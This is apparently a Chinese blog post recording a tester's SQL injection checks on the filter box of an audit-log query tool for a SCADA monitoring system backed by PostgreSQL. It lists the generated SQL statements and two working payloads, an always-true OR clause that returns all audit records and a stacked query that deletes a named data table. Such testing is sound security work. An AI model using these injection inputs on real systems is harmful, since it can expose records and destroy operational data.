SQL注入漏洞测试

测试背景与环境说明:
公司的监控系统对于用户登录/退出、权限修改、重要的操作都会记录审计日志,日志存储在postgres数据库中。此外,还有一个提供审计记录查询的客户端工具,界面如下,其中过滤输入框可以输入。

测试步骤:
1)验证输入框,确认可以输入任意字符
2)观察客户端工具的后台打印信息,找到其生成查询语句的方法:输入作为like的条件进行模糊查询
3)从网络上了百度了一下常用的like sql注入方法,然后根据自己的环境构造用例,测试步骤如下:

1、过滤窗输入:空
 客户端后台工具生成的sql语句:
"SELECT MODULEID,HOSTNAME,USERID,USERID,PRIORITY,STRCOMMENT,RECDATETIME,ACTIONID FROM %1  WHERE (HOSTNAME = 'scada6') " 

2、过滤窗输入:aaa
客户端后台工具生成的sql语句:
Sql template is:  "SELECT MODULEID,HOSTNAME,USERID,USERID,PRIORITY,STRCOMMENT,RECDATETIME,ACTIONID FROM %1  WHERE (HOSTNAME = 'scada6')    AND   (STRCOMMENT like '%aaa%')" 
通过该用例得知,客户端工具构造sql语句的方法是 '%input%'),且是是AND逻辑,所以考虑到可以利用 恒为true的OR语句 使AND条件失效。

3、过滤窗输入:aa%') OR ('1%' = '1
期望结果:查找操作节点为scada1且内容中包含aa%') OR ('1%' = '1字符串的审计记录。
客户端后台工具生成的sql语句:
Sql template is:  "SELECT MODULEID,HOSTNAME,USERID,USERID,PRIORITY,STRCOMMENT,RECDATETIME,ACTIONID FROM %1  WHERE (HOSTNAME = 'scada1')    AND   (STRCOMMENT like '%aa%') OR ('1%' = '1%')" 
实际结果:因为OR条件恒为true,所以会把所有审计记录过滤出来。

4、过滤窗输入:aa') ; delete from sifang.hdr_analoginput20211209;--#
期望结果:查找操作节点为scada1且内容中包含aa') ; delete from sifang.hdr_analoginput20211209;--#字符串的审计记录。
客户端后台工具生成的sql语句:
Sql template is:  "SELECT MODULEID,HOSTNAME,USERID,USERID,PRIORITY,STRCOMMENT,RECDATETIME,ACTIONID FROM %1  WHERE (HOSTNAME = 'scada1')    AND   (STRCOMMENT like '%aa') ; delete from sifang.hdr_analoginput20211209;--#%')" 
实际结果:通过符号;将一条语句拆成多条语句,利用postgres的注释符号--注释掉结尾用不到的无效字符串。执行查询语句后,然后清空指定表中的数据,返回给客户端客户端工具显示查询结果为空。

原文地址:https://www.cnblogs.com/21summer/p/15673390.html